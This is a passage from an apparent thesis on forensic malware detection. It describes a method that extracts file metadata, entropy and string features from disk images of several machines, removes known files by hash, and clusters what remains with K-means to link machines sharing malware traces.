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4 A Framework for Cross-Computer Malware Detection

This chapter helps to narrow and concretize the extent of the later presented correlation
method. It includes notations, basic terminology and models that are used for the correla-
tion method, where everything is based on the theory presented in Chapter 2 and 3. The
framework includes Reference Models, Additional Framework and Concept Declarations,
and Evaluation Criteria.

4.1 Reference Models

An Event-based Digital Forensic Investigation Framework and the Forensic Process, presen-
ted in 2.1, are chosen as reference models for the framework of the correlation method.

4.1.1 The Event-based Digital Forensic Investigation Framework

The correlation method will cover the Digital Crime Scene Investigation Phases, and parti-
cularly its System Preservation & Documentation Phase and Evidence Searching & Documen-
tation Phase from An Event-based Digital Forensic Investigation Framework. The selected
phases of interest are emphasized in Figure 11. The method is based on this framework
in particular because of its focus on events, search and extraction of evidence. The events
are in this case malware incidents. In addition, the framework also sustain the digital fo-
rensics role in a crime scene investigation, where management of seized machines and
media plays a central part when wanting to perform correlation analysis.

• The System Preservation & Documentation Phase will for the correlation method be
used as an umbrella term for preserving the original state and thorough documenta-
tion of all alterations done on the target data, including information related to the
incident case in question. Hash functions can be used for preservation and integrity
verification of the data.

• Evidence Searching & Documentation Phase support the correlation method’s search
and extraction of evidence and further identification of relevant evidence. The quality
of the searching method and data extraction and the integrity of obtained data plays a
central role at this phase. Since the original data is extracted and represented in other
ways at this stage, the documentation of the transformation caused by the search for
evidence have to be precise. Note that the original data will never be changed and
that the extraction is from a copy of the original.

Figure 11: Selected phases from the Digital Crime Scene Investigation Phase
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The Readiness, Deployment and Physical Crime Scene Investigation phases are considered
as prerequisites for gathering relevant evidence for use with the correlation method.

4.1.2 The Forensic Process

The categories of interest from the Forensic Process is Collection, Examination and Analy-
sis, as reflected in Figure 12. The correlation method includes all these stages. The reason
for this is that the other categories are more concerned with management tasks that are
harder to automate in order to increase the efficiency and effectiveness of capturing mal-
ware evidence. They are in addition superficial since the experiments will be executed in
a controlled, virtual environment, with a predefined attack scenario. However, in order
to provide sound experiment results and tests of the correlation method, all categories
will be considered where appropriate.

• Collection applies to the correlation methods ability to gather a copy of the original
data, using appropriate methods. This will for the experiments be performed in a
virtual environment, using well known tools and methods.

• Examination can be linked to the Evidence Searching & Documentation Phase presen-
ted above, e.g., the importance of documentation to support CoC. Additional tasks
of examination that will apply for the correlation method is the use of filtering tech-
niques, for removing known files. Decompression and decryption of files will not be
applied in this thesis. This is because of the focus on metadata that in most cases do
not require such activities. However, these activities can be applied in the future.

• Analysis is in this case the Link Mining procedure, performed to detect similarities
between multiple machines. Results from the linking will be used to detect potential
traces of malware. The specific Link Mining procedure uses a machine learning algo-
rithm for clustering the data. It is important to notice that the correlation method is
not meant to remove manual analysis by a forensic investigator, but ease the task by
presenting a limited amount of candidate findings.

4.2 Additional Framework and Concept Declarations

Based on the three phases in the digital crime scene investigation, it is possible to ela-
borate on the adaption of the phase’s relevance to the correlation method. First of all,
the information that will be used as input to the correlation method is obtained from the
Deployment Phases and Physical Crime Scene Phases. This is the preconditions of being
able to search for evidence, complete any correlations of the gathered data and identify
malware. To improve understanding of the correlation method, the concepts and terms
used will be defined. These are important for, e.g., controlling and managing multiple
machines and evidence.

4.2.1 Incident and Crime

In the context of the correlation method it is not relevant to differentiate the terms
incident and crime. This is because their impact on the evidence is considered as not
recognizable individually and that they will not have an effect on the proposed method
and its analyzation results. For simplicity, the term incident is used for the rest of the
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Figure 12: Selected phases from the Forensic Process

paper. This can be defined as: an event or multiple events that have caused adverse
changes or damages to a victim computer system.

4.2.2 Expert Knowledge

In many cases, pieces of information about an incident are available, e.g., the approxima-
ted time when the incident happened, indications of effect and extent. Expert knowledge
is a term that can apply to such information. The term is carefully discussed in [79]. The
concept has been simplified and is referring to as: The background knowledge of a qua-
lified expert about an incident that can help to identify and improve the investigation.
This is knowledge that is typically involved in defining the target object in the Evidence
Searching and Documentation Phase discussed earlier. In the case of detecting malware
traces, this knowledge can be based on, e.g., known malware detection characteristics as
presented in Section 2.2.3.

4.2.3 Evidence Collection and Seizing

An incident need not necessarily be under investigation. Therefore, an incident under
investigation will be descrived as a case. This case is thus linked specifically to an event
that consists of one or more incidents, closely connected to the task and the defined
problem of an investigation.

A case can consist of multiple physical objects. Even if the physical objects in a case
can be many things, this thesis only considers computers as the physical object when
presenting the correlation method. A computer consists of many components and media
types that are able to hold information useful for an investigation.

Figure 13, shows how a case (or multiple) will be refered, involving multiple physical
objects (in this case computers), which again consist of multiple medias. The media in
focus is the hard disk.
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Figure 13: UML representation of the Media and Evidence involved with a Case

4.2.4 Correlation and Link Analysis

To identify links between multiple computers and the data stored on their digital media,
the data is considered as data objects. Carrier and Spafford present a suitable defini-
tion [1] that will be used as basis:

"A digital object is a discrete collection of digital data, such as a file, a hard disk sector,
a network packet, a memory page, or a process."

The focus will be on the data objects, being the collection of digital data on a hard
disk (in this case files), referred to as file objects. These file objects consist of information
possible to utilize for correlations and linking. Each file object consist of different types
of information, where each information type represent one feature of the file. These
features are also discussed as attributes in the context of the file format and tools used
to treat them. Together, multiple features create a feature vector representing the set
of each file’s features. These features are especially important for detecting malicious
activity and traces.

Object Clustering

The links between machines and their grouped file objects are used to further detect the
presence of malware. Clustering is used as a group detection method in order to detect
these common characteristics among machines. As shown in Figure 8, pre-processing,
pattern evaluation and knowledge representation are central pre and post -procedures
for data mining. For the correlation method, the input data can vary and it is difficult
to define a complete support for all types and situations. However, pre-processing steps,
evaluations of results and presentation of the new knowledge especially tied to an inci-
dent where multiple machines are involved, will be given.

For clustering there are additional procedures that have to be taken into account. In
order to successfully perform clustering on the data, the steps presented in Section 3.3.3
is undertaken in the following way.

• Feature Selection: The selected features for the correlation method will be based on
the theory of file system forensics and malware detection, typically associated with
botnets. Further feature selection analysis and testing will not be part of the scope.

• Proximity Measure: This will be based on the algorithms suitable for the chosen clus-
tering algorithm. Other proximity measures will not be evaluated.

• Clustering Criterion: The method will cluster file objects with most common features.
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The data set consist of only one data type, which is files from a machine’s file system,
represented as objects.

• Clustering Algorithm: The algorithm should be efficient and able to handle different
attribute types, representing the files features.

• Validity of Results: Appropriate tests and evaluations will be used to verify and va-
lidate correlations. Experiments in a control environment with predefined malware
infections will be used to evaluate the validity of results. A more detailed presentation
of evaluation criteria is presented in the following sections.

• Interpretation of Results: The expert knowledge obtained from having source code and
raw data files, used for infection, will affect the conclusion of the correlation method’s
efficiency and effectiveness.

4.3 Evaluation Criteria

Due to the limited number of digital forensics tools, the criteria for evaluating the correla-
tion method can be seen in conjunction with other disciplines, e.g., IDS. This framework
helps to define how thoroughly it is possible to evaluate the correlation method and
results obtained.

4.3.1 Infection Detection Evaluation

Most of these measurements discussed in Section 2.2.4 are specifically directed at IDS.
Only the relevant ones for the correlation method and what to detect, i.e., malware files,
will be considered. Since the IDS measurements are quantitative, and not meant for a
digital forensic method, only the most relevant ones will be associated and adapted at a
high-level.

First of all, the method will cover malware detection from a post-mortem, file system
forensics point-of-view. It is not meant to provide a complete detection where a quantita-
tive measurement of its FPR and FNR is possible. However, the methods ability to cluster
malware files from multiple computers in the same clusters can be used to qualitatively
estimate its detection capabilities.

Another evaluation criteria that can be adapted is the methods ability to correlate
events. This is transferable from correlations between network traffic (e.g., of a NIDS) to
correlations of events between individual files and correlations among files in multiple
computers.

Finally, a qualitative utilization of the Ability to Identify an Attack, and Ability to De-
termine Attack Success, is possible to verify on the basis of the malicious files found. This
is because in case of an investigation, if a malware is detected, one can verify that the
attack against this specific machine is successful.

The rest of the measurements for IDS Evaluation is out of scope due to their lack of
relevance within the field of post-mortem digital forensics and malware detection. Espe-
cially the base-rate and Bayesian Detection Rate are hard to compute due to their reliance
on quantitative values of intrusions. As stated before, the correlation method filters and
groups files with common characteristics, which at a later stage relies on manual analysis
of output data in order to identify and verify malwares existence. This approach involves
qualitative evaluations, based on expert knowledge about an incident. This means that
TP, FP and FN will exist. It is in particular important to limit the number of FNs, since
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they can hold necessarily information for the success of the investigation. TPs and FPs,
grouped by the correlation method, can be checked manually by the investigator and
verified as benign through further analysis of the files contents.

4.3.2 Forensic Evaluation

It is crucial for the correlation method to gather and handle identical copies of the input
computers hard disks. By using other well known open-source tools, the validity of the
gathered data can be evaluated. This way, the data semi-automatically gathered and
analyzed by the correlation method can be verified manually in another digital forensic
tool.

Data sets used to evaluate, e.g., IDS systems cannot be applied to evaluate the corre-
lation method. However, using a similar technique by having a data set made for digital
investigations, inspired by, e.g., the Digital Forensics Tool Testing Images [80] and The
Honeynet Project’s Forensic Challenge [81], it would be possible to perform valuable
measurements. This is, however, left for future work.

4.3.3 Cluster Evaluation

For the link mining, classes to cluster evaluation will identify various attributes impact on
the data set. It will also identify how the clustering task is able to group machines with
malicious files, based on a predefined class attribute. E.g., a class attribute could be defi-
ned for what files are believed to be malicious (for cases where this is possible) and used
to measure the correlation methods ability to couple these files from multiple machines
together. To simplify the task of recovering the infection files used in the experiments,
special filenames will be added.

Simplified score functions are used to estimate the distances between and within ge-
nerated clusters. Since thorough use of score functions is time consuming and excessive
for large data sets, smaller spot tests can be applied using graphs. For data sets with ob-
jects having many attributes (as for file objects used in digital forensics), this evaluation
method involves numerous operations. However, the task of evaluation can be simplified
by focusing on attributes that clearly affect the clustering results, e.g., if a cluster only
consists of folders or raw data files.
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5 A New Correlation Method for Malware Detection

This chapter presents the theoretical building blocks of the correlation method. This
includes the requirements for it to find similarities and links between the computers
involved in a malware incident. Next, a practical implementation of the method and the
tools used will be presented.

5.1 Theoretical Method

The theoretical method consists of the basic principles and main properties of the cor-
relation method. This gives an overall understanding of the applied disciplines which
also support the ability of implement it differently in future research. The method is ana-
logous with digital crime scene investigation techniques and digital forensic processes
because of its affiliation to the framework it is defined within.

5.1.1 Preferences

On the basis of the theoretical background, related to the current digital forensics, mal-
ware detection and data mining methods, the following preferences are defined:

• The input data must consist of and represent specific patterns and characteristics that
facilitate and enable the detection of malware and links between computers

• The amount of data must be simplified or filtered in order to increase efficiency wi-
thout compromising quality

• Data of interest are to be retrieved and pre-processed so that they reflect and en-
hances special characteristics related to detection

• Similarities between data from different sources (computers) must be identifiable,
present links between them and reflect potential malware causing these links

5.1.2 Design Structure

The main components and mechanisms of the method are given in Figure 14 and discus-
sed accordingly.

 

Data 
Collection Examination Link Mining

Figure 14: Abstraction of method’s design structure

Data Collection is supported by digital forensic mechanisms to collect information
from a computer’s file system, by simply making a copy of the original.

Examination involves the necessary processes to limit the amount of data and to re-
present file objects in the best possible way. Feature extractions are applied against the
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file objects at this stage to reflect important characteristics of malware and related files.
The Link Mining will use the data set from all involved computers, represented by

extracted features and pre-processed in order to suit the Link Mining algorithm of choice.
Unsupervised clustering (being a descriptive data mining method) will be used to group
files with similar characteristics. This can unite different groups of data with common
patterns (across multiple computers) and identify the links between them. The reason
that an unsupervised method is used rather than a supervised method is because we do
not have information about malware characteristics or signatures that could be used to
classify various files, e.g., as malicious or insignificant.

5.1.3 Utility Approximation

The similarities shared among files will not determine exactly which of them are mal-
ware, associated with malware or benign. This is because the method is based on des-
criptive data mining, which means that no files are explicitly classified on the basis of
known malware characteristics, but rather the similarities that might be common for
multiple machines. This will primarily be used to indirectly identify possible traces of
malware (e.g., botnet malware were common characteristics are essential) and that such
a method also takes into account anomalies and thus new, unknown patterns.

As a digital forensics method, the ability to filter out and group data with similar fea-
tures across multiple machines, can improve the efficiency and effectiveness in the way
that an investigator is left with smaller amount of and organized data. A visualization of
how the method works in practice is given in Figure 15. From the initial total amount of
files, the data volume is reduced and finally grouped according to their characteristics.
Finally, the grouped files, linked between multiple machines, can analyzed and a group
consisting of malware files can be detected.

Data Collection Examination Link Mining Detection

Correlation Method Manual Analysis

Figure 15: Practical illustration of the method’s utility value

The positive results of data mining, link analysis and physical crime investigations,
where insignificant information is removed and links have been used to increased know-
ledge, supports the method’s preconditions for success.

5.1.4 Detection Features

The correlation method relies on extracting and pre-processing features being represen-
tative for files. The features, chosen to extract from the machines, are based on typical
forensic metadata patterns and special information associated with malware. The fea-
tures of interest are connected to the files in the file system of each machine.
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Metadata is primarily used to identify similarities between multiple machines. There
are pros and cons for focusing on the metadata. The biggest benefit is that the methods
efficiency increases since the actual file content, being large in many cases, will not
be used totally. A disadvantage is that file content will not be extracted and analyzed
other than the specific strings that can be used to detect malware. However, by using
metadata and string information for finding correlations between multiple machines,
the files reflecting these correlations can be investigated further at a later stage using
standard forensic tools.

Since most computers are connected to Internet, communication characteristics are
typical features for finding links between machines. For malware and especially botnet
malware detection, this is no exception. Communication patterns of a botnet can be
represented in the file system, in log files, malware code or other files associated to the
malware (as discussed in Chapter 2). Many of these patterns can be extracted as strings
from files content and be used as features reflecting content of interest in a file. String
features as IPs, emails and URLs are typically associated with botnet malware as they
need a channel for communicating with their C&C server. All of the features we define
as representative for each file on a computer’s hard disk is given in Table 1.

The reason for having several features is because of the uncertainty and validity of
each feature [82]. This is because in the case of malware, many of these features can
be obfuscated, making it important to have several features representing each file for
correlations.

Some of the features in Table 1 will have a negative effect on the correlation. These are
the ID, File System Entry, Machine ID and Media ID. This is because they are machine-
typical features that will only be used as reference for the files and to recover it from
the machine responsible. If correlations are based on the similarities of files, files from
the same machine and same media will create a higher likelihood of correlation. This
also counts for the file system entry and file ID which can be the same across multiple
machines.

5.1.5 Feature Extraction

The features of interest, in Table 1, need to be extracted from the hard disk files. The
feature extraction is based on the data’s origin such that different methods have to be
applied.

Forensic Case Supplied Data

This is user supplied information added to the files. This information is used as identifiers
and reference in order to show which media on which machine is correlated. Without this
information it would be hard, or maybe impossible to trace back where the file is from
and to document CoC. It is therefore important that these values are not included in the
actual clustering of common file objects.

File Metadata

Metadata of files are used to better define each file object. Since most of this information
is used by the file system for administration, this information is easy to acquire using fo-
rensic tools. This also includes metadata about deleted files, if the data is not overwritten,
as discussed in Chapter 2.
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Feature Values Origin Arguments
ID Numeric Forensic case

supplied meta-
data

Represents the file’s ID, which
are good for reference and CoC

File Size Numeric File Metadata The file’s size, relevant for cross-
validation

Time
stamps

Last time modified,
accessed, changed
and/or created (MAC)

File Metadata Creating a time-frame of inci-
dents

File
Name

String of whole file
path

File Metadata Relevant for cross-validation of
name and to detect obfuscated
and renamed file names

File Type Directory, raw or nei-
ther (unallocated)

File Metadata Separating the file objects roles

Allocation
Status

Allocated or not File Metadata The file is deleted or not

File Sys-
tem Entry

Inode, FAT or MTF en-
try number

File Metadata The file systems reference and
relevant for finding the files ori-
gin for further analysis

Permission
mode

RWX for owner, group
and other

File Metadata Identifies the file’s type and per-
mission

Links Numeric value of link
number associated
with the file

File Metadata Dependencies and other involve-
ments

User ID Numeric representa-
tion of ID

File Metadata The files access rights on the sys-
tem

Group ID Numeric representa-
tion of the Group the
file is controlled by,
e.g., Administrators

File Metadata The files access rights on the sys-
tem

Sequence Numeric value, incre-
mented when realloca-
ted

File Metadata Updated number of changes to
files

File
Content
Type

Estimation of the files
content, e.g., being an
executable, data file,
text file

File Content Strengthens the understanding
of the file’s type

MD5
hash

Hash sum of the file
content

File Content Files with identical content will
have same hash. Useful for data
reduction

Machine
ID

Numeric ID of a com-
puter

Forensic case
supplied meta-
data

For reference and to separate
computers used in a case where
multiple machines are involved

Media ID Numeric ID of the me-
dia, e.g., hard disk

Forensic case
supplied meta-
data

For separating medias when
multiple are involved

File
Entropy

Numeric File Content Strengthens the understanding
of a file’s content, e.g., to detect
malware obscurity

IPs Strings File Content Reflect plaintext IP addresses in-
volved in communication

Emails Strings File Content Reflect plaintext mail addresses
involved in communication

URLs Strings File Content Reflect plaintext URL addresses
involved in communication

Table 1: Features of Interest
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File Content

Even though the method doesn’t include totally the content of the files, a MD5 sum of the
content is used to identify files having the exact same content. Another effect of having
a hash of the files content is for integrity verification and for CoC.

In order to detect obscurity techniques like encryption of compression of malicious
code (e.g., simple change of file extentions), file’s content can be examined further. It is
possible to perform several tests on a file’s content in order to find what type of content
it has. This can be done using, e.g., the file tool, using the libmagic library to classify or
determine type of data in a file.

Entropy

Another method to estimate the file contents structure is to calculate the file’s entropy.
This is a method that can be used to detect potential encrypted data [47]. A small ex-
periment was executed to examine the different entropy values created for encrypted,
compressed and various types of file formats, e.g., compressed pictures. The entropy va-
lues was gathered by using the Ent tool [83]. The results are shown in Table 2. Two
versions of all file types were created just to get an idea of how files entropy can be
evaluated and whether they can reveal obscurity methods. The actual content of the files
are here superficial for what is desired to present.

Filename Filetype Size(bytes) Entropy (bits per byte)
compressed1 tar.gz 37459 7.992800
compressed2 tar.gz 2844219 7.998564
encrypted1 AES-256 encrypted 51115 6.022145
encrypted2 AES-256 encrypted 9027940 6.022366
film1 .mpg 3878756 6.743678
film2 .avi 6666752 7.793286
picture1 .gif 37718 7.859920
picture2 .jpg 127511 7.820197
text1 .txt 256129 4.267601
text2 .txt 1270011 4.773954
executable1 .exe 3558912 6.604599
executable2 .exe 1859712 6.701718
article1 .pdf 270507 7.904960
article2 .pdf 447959 7.979037

Table 2: Entropy values gathered from the Ent tool

As we can see from Table 2, most of the file types has a value between 6 to 8, while
the plain text files have a much lower value. Even though this value cannot alone reflect
whether or not a file is obfuscated, it can increase the likelihood of something being
incorrect if, e.g., a file said to be a text file has an exceptionally high entropy.

Strings

Keyword searches can be used to get more information about textual features on the
analyzed disk. Strings can be found using various methods. Two methods are simple
string searches, aimed at the whole image file of the file system, or at each file’s content
separately. In the case of searches against the whole image file, it is important to identify
where the string was found and connect it to its corresponding file and/or disk cluster.
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In order to achieve this, we can learn from how Autopsy (graphical interface of TSK) is
searching for strings and their corresponding files [84]. By using the grep and strings

commands, found in most Linux OS’s, Autopsy gets information about the byte-offset
(reported by setting the −b flag) where the string is found and calculates the value in
order to find the cluster or fragment. This result can again be used for other file system
layer tools from TSK.

In the case of the correlation method, the method used in Autopsy is not best suited
for file oriented extractions. Searching for strings against the image as a whole requires
each string to be associated with the files at a later stage. It is desirable to attach strings
to the files, due to the file oriented approach of the method. The icat tool (from TSK)
can be used to present the file’s content based on the number in MFT, and strings can be
found using grep and regular expressions.

5.1.6 Data Reduction

Files that are uninteresting, e.g., known and unaltered program or system files, can be re-
moved during hard disk examination in order to decrease the size of the data set. Several
databases with hash values for known files can be used for this purpose. It is important
to take into account that some of these databases only classifies their hash database as
a database of known files, without separating good and bad files. The definition of bad
files are rather vague. In addition to file hashes, databases of hash values for clusters and
blocks can also be used for filtering out known data, e.g. bloom filtering.

In cases where confiscated machines have similar OS installations and configurations,
creation of an own hash database of a trusted system with similar installation and confi-
guration is preferable. This can be used to filter out more uninteresting and trusted files
from the objects that are analyzed.

5.1.7 Link Mining

The Link Mining task that is most appropriate for the correlation method is a descriptive
method, using an unsupervised clustering algorithm. Clustering will provide a group
detection, where the links between multiple machines exist for clusters in which files
are present. Based on what was discussed in Chapter 3, the event that has occurred is
reflected in the entities presence in a cluster, which reveal the corresponding machine’s
associations (thereby links).

The simple K-means algorithm is used for the clustering task due to its effectiveness
and that it is available in many machine learning tools [78]. The requirement of an
input value K is fulfilled using SOMs. The data set obtained during Data Collection and
Examination have to be pre-processed before any clustering task can begin. For this, the
pre-processing step in the knowledge discovery process from Figure 8 are applied (on
page 28).

Pre-processing

Attributes in the data set that are superficial, having a single value over the whole set,
along with redundant values can be removed to not cause any negative effect on the
results. In addition, the attributes best representing the data are selected. E.g., Forensic
case supplied metadata, along with File metadata that are specific to each machine have to
be ignored during clustering and only be used as reference for where the file was located
(e.g., on which machine and media).
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An utterly important element of the pre-processing is to integrate all data sources.
Data from all machines that are going to be included in the clustering have to be combi-
ned.

The data set provided, now containing only attributes of interest, has to be filtered
further in order for the values inside to be represented properly. Various filters and for-
mat conversations have to be applied such that the clustering task can handle them. E.g.,
the string values for file names, IPs, Emails and URLs cannot be handled directly by some
implementations of K-means, e.g., Weka [85]. These attributes can instead be represen-
ted as nominal or numeric (converting all strings to an attribute and count its presence
for each file object).

5.1.8 Result Evaluation and Verification

It is important to verify that the final output data is the same as original. The correlation
method examines and pre-process the input data at several stages. It is therefore impor-
tant that identifiers of the machine, media used, file object id’s and information about
where the file can be found on the original source exist. In cases where the final cluste-
ring results are identifying files that are of interest, a link to the original file content will
be necessarily for further investigations.

Link Mining Evaluation

Clustering is used for grouping and thereby linking the file objects from multiple ma-
chines. It will be evaluated against a predefined class attribute to the data set, where
files that certainly are malware are classified. In most cases, this is a hard task since it
involves subjectivity and can open for FPs and FNs. However, files assigned to classes
that are not clustered together, as expected, reveals information that there are uncer-
tainties of whether the data object itself is not to belong to this cluster or the clustering
algorithms ability to cluster data correctly.

The other method used to evaluate the links is to examine two dimensional graphs of
features involvement in the created clusters. This will give indications of the distances
within and between the clusters.

Finally, and most important is the evaluation of the machines involvements across the
created clusters. This is what reflects links between them and that there are correlations
among file objects.

5.2 Practical Implementation

In this section the practical implementation of the theoretical method’s Data Collection,
Extraction and Link Analysis steps, given in Figure 14, will be presented. A distinction
is chosen between the theoretical method and the practical implementations since the
method can be implemented using slightly different collection, examination and link
analysis tools and techniques. The practical implementation is tied to the framework in
which we want to concentrate on a case n with m machines involved. Figure 16 has been
made to present the detailed steps, involving various operations and outputs, that oblige
with the overall correlation method. The figure is inspired by and uses the same syntax
as the File Ascription figure from [86].
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Disk Image
File Metadata

Extraction
2

File X ------------------ Feature A, B, C
File Y ------------------ Feature A, B, C 
File Z ------------------ Feature A, B, C

Feature File 1

Hash Filtering
3

File X ------------------ Feature A, B, C 
File Y ------------------ Feature A, B, C

Feature File 2

Feature Extraction
4

File X ------------------- Feature A, B, C, D, E, F
File Y ------------------- Feature A, B, C, D, E, F

Feature File 3
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Figure 16: Processing Steps for a Case n with m machines

From Figure 16, a case n, with multiple machines n are seized due to suspicion of
involvement in an incident. For each of the machines, the hard disk is acquired and data
from it is collected (1) and preserved by creating a Disk Image. File Metadata Extraction
(2) is applied on the Data Image in order to extract file metadata of the files, creating Fea-
ture File 1. The next step involves Hash Filtering (3) which removes known files, by using
hash values. With a filtered metadata representation of the machine’s files in Feature File
2, additional features from the files content is extracted during Feature Extraction (4).
User supplied metadata about the machine is also attached in order to separate mul-
tiple machines and media from each other. This gives a metadata representation with
additional file and machine features of one machine, i.e., Feature File 3.

With a copy of Feature File 3 of all m machines, they have to be combined (5). The
combining is easy to perform manually. Together they form the Case Data of all machines
involved in the case. Pre-processing (6) is neccesarily to get the correct representation
of each feature. Having Pre-processed Case Data at hand, the Clustering (7) can begin.
This gives a representation of Clustered Case Data that reveals groups of files that have
similarities across the machines. Since the Clustered Case Data allready presents which
machines and files that are correlated, Linked Machines in Case Data is obtained by Lin-
king Machines (8). This is obtained through manual observations from an investigator of
the Clustered Case Data.

5.2.1 Tools and Data formats

The core of the practical implementation is its tools. Most of the correlation detection
process is done in a configured Forensic System, being a Linux machine with proper condi-
tions for open source forensic tools and features.

The tools and data format used to create the feature files, along with the tool used
to find links between the machines, play central roles for the correlation method. It is
therefore important to present them, their advantages and limitations. The categories of
tools can be seen in conjunction with Figure 14, where Data Collection and Examination
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are mainly forensic tools and Link Mining are machine learning algorithms implemented
in a software application for handling data mining challenges. The involved tools are
presented consecutively, in the order they are used in the correlation method, based on
the steps in Figure 16. However, Combining and Linking Machines are simple operations
that do not require advanced tools or techniques.

ARFF

Before getting into the tools, we will present the data format used to represent the de-
tection features, defined in Section 5.1.4. Attribute-Relation File Format (ARFF) is a file
format that represent data sets with independent objects which share a defined set of
attributes [87, 59]. It was primarily developed for the Weka, the machine learning tool.
An example file is shown in Figure 17.

C:\Users\Anders\Desktop\new1.arff 28. april 2010 12:32

%Example ARFF file with file metadata from a computer hard disk
@relation files

@attribute id NUMERIC
@attribute filename string
@attribute size { 100, 150, 300 }

@data
1, textfile, 100
2, executable, 300
3, picture, 150

-1-

Figure 17: Example ARFF file with file objects

The ARFF format has a @relation declaration in the beginning of the file, reflecting
the file’s data. This is followed by the attribute declarations. Finally there is the actual
data section with objects. All objects needs to have a value for all attributes (also known
as features of the objects), which has to be supported by the attribute’s format. Empty is
also allowed and is represented as a ’?’. The attributes have to be defined in the beginning
of the ARFF file and their format can be; numeric (real or integer values), nominal (re-
presenting a set of defined values), string (textual values) or date (string format, default
using ISO-8601 combined time and date: "yyyy-MM-dd’T’HH:mm:ss").

The reason for using ARFF for the correlation method is because of available tools for
creating and managing the ARFF format, e.g., WEKA and Fiwalk (presented later in this
section). ARFF is also a format successfully used to represent features in feature files for
data mining in other malware detection methods, e.g., as in [58].

Dcfldd

Dcfldd is an open-source UNIX tool for copying raw data developed by the U.S. Depart-
ment of Defense Computer Forensics Lab. It is an improved version of GNU dd with
additional features for digital forensics. For digital forensics, the tool is primarily used
to create a copy of a computer’s hard disk, encapsulating the raw data in an image file.
While dd works for copying data from one source to another, independent of type and
context, dcfldd has additional functionality of, e.g., hashing input data on the fly, give
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copy status updates, split the output file, verify source and destination integrity [27, 88].
There exist several other imaging tools with even more features, but for the purpose

of the correlation method, dcfldd is mainy chosen due to its simplicity and status updates
during imaging. Dcfldd is the tool used for Data Collection (1) in Figure 16.

Fiwalk

Fiwalk is an open-source meta data extraction software developed by Simson L. Garfin-
kel [17]. The tool was mentioned in Section 2.1, as a way of improving the efficiency
and effectiveness in digital forensics. It is in fact exactly what it does. By using a image
file from a computers hard disk partition, it extracts file system and document metadata.
It can represent the files it extracts as objects in XML or ARFF format.

The tool is built on The Sleuthkit (TSK) digital investigation tool and in particular the
tsk_vs_part_walk(), tsk_fs_dir_walk() and tsk_fs_file_walk() libraries in TSK.

Due to the importance of file metadata information in the correlation method and the
fact that Fiwalk is able to produce ARFF files and use TSK libraries to acquire the data,
Fiwalk was suitable as a file metadata extraction tool (covering File Metadata Extraction
(2) in Figure 16).

Attribute Type
id numeric
partition numeric
filesize numeric
mtime date ’yyyy-MM-dd HH:mm:ss’
ctime date ’yyyy-MM-dd HH:mm:ss’
atime date ’yyyy-MM-dd HH:mm:ss’
fragments numeric
frag1startsector numeric
frag2startsector numeric
filename string
md5 numeric
sha1 numeric
name_type string
alloc numeric
used numeric
inode numeric
meta_type numeric
mode numeric
nlink numeric
uid numeric
gid numeric
crtime date ’yyyy-MM-dd HH:mm:ss’
seq numeric
libmagic string (−f option)
MD5 string
SHA1 string
compressed numeric
unalloc numeric

Table 3: Default Fiwalk attributes of NTFS partition, with −f option
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The attributes and their type generated by Fiwalk, is presented in Table 3. These are
the default attributes obtained from an imaged NTFS hard disk partition, where the −f

option is added to get file content information of the file tool and libmagic library. The
table has multiple occurrences of MD5 and SHA1 values, where the interesting ones are
the last two, having a hash of the file’s content.

Hash-Based Removal Tool

This is a self developed tool, for filtering out known file objects. Since Fiwalk finds and
outputs all files in a target file system and extracts metadata information about them, the
file objects with known content can be removed to improve effectiveness (discussed in
Section 2.1 as part of a forensic examination procedure). The Hash-Based Removal Tool
is responsible for Hash Filtering (3) in Figure 16.

The scripting language Python is used to develop this tool (as for all the other develo-
ped tools for the correlation method), due to its easy way of including UNIX commands
and modules (e.g, the ARFF module package). As stated in [17], "Python makes an ex-
cellent language for writing forensic tools because of flexible object model, its built-in
garbage collection, and its interactive prototyping environment."

The Hash-Based Removal Tool is based on hfind, which is a tool from TSK, that can
search for hash values in large hash databases. The reason for choosing hfind is because
of its relatively effective searching approach. By creating an index file of the input hash
set, the search for hash values are much faster, compared to standard keyword searches,
e.g., using the grep tool. A small experiment was conducted, showing that a grep search
through the NSRL hash database-file was much more time consuming than using the
hfind tool. hfind supports nsrl-md5, nsrl-sha1, md5sum and hk (hashkeeper) hash repre-
sentation types.

The Hash-Based Removal Tool is built on the basic pseudo code presented below and
the source code is found in Appendix C:

1 − Get and parse input ARFF f i l e
2 − Get hash database f i l e
3 − For each ob jec t , lookup hash
4 − For each found hash , remove o b j e c t

Hash Extraction Tool

In order to remove not only hash values found in official hash databases, e.g., NSRL RDS,
another tool that extracts hash values and creates a hash database file with the same
output format of md5sum, has been developed. This tool makes it possible to obtain hash
values from a clean system, with more or less the same configurations as the infected
ones, and to remove even more known file objects from the feature file. The source code
of this tool is found in Appendix B and uses many of the same techniques as the Hash-
Based Removal Tool, e.g., parsing an input ARFF file. A simple example output-file of Hash
Extraction Tool is presented in Figure 18.

The Feature Extraction Tool requires only an ARFF file as input and the user has to
select an output filename being in text format (e.g., file.txt).

Feature Extraction Tool

The Feature Extraction Tool is developed for extracting special and case specific features
that can improve the correlation method’s ability to identify malware traces. The tool
is used in the correlation method for Feature Extraction (4) in Figure 16. Since Fiwalk
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extracts most of the desired metadata features already, this tool extract and adds the
following content-based features to the feature file:

• Machine ID

• Media ID

• Entropy value

• IP strings

• Email strings

• URL strings

ad617ac3906958de35eacc3d90d31043 ob jec t1
45e02ce7d5f9f6034cb010429ce19205 ob jec t2
8c363d02d0b129277453563befb68380 ob jec t3
2466459bc0cf09beef06ba445d2f7b4e ob jec t4
2466459bc0cf09beef06ba445d2f7b4e ob jec t5
8e215da06984db90d45f84386e562799 ob jec t6
5ee0a1c448311ce476968856f4b706e2 ob jec t7
1690aad47a0f7c82a60041ef28eb5221 ob jec t8
7b9cf841881493c700027214e9db753d ob jec t9
649db99f45048fa7b189fc58fe4fb850 objec t10

Figure 18: Example output of Hash Extraction Tool

The first two ID values are metadata specific to the case, which is user supplied when
features are to be extracted. The entropy is extracted for each file, based on the file’s
content, using the Ent tool. IP1, Email and URL strings are extracted using regular ex-
pressions against the file’s content, which are extracted using TSKs icat tool. The regular
expressions are important to extract as much relevant strings possible and they are found
in Appendix A, along with the rest of the tool’s source code. The chosen regular expres-
sions are based on existing once, modified and tested against typical IP, URL and Email
strings [89, 90].

This tool has to deal with the ARFF format in another way than the Hash-based remo-
val tool and the Hash extraction tool because it adds attributes to each object. This affect
how the parsed input file have to be handled by the program since all the objects are
parsed in as lists. In order to comply with the requirements of the ARFF format, where
each object needs equal numbers of attributes, the additional features had to be added to
all objects. The machine and media ID would be the same for all objects, but the entropy
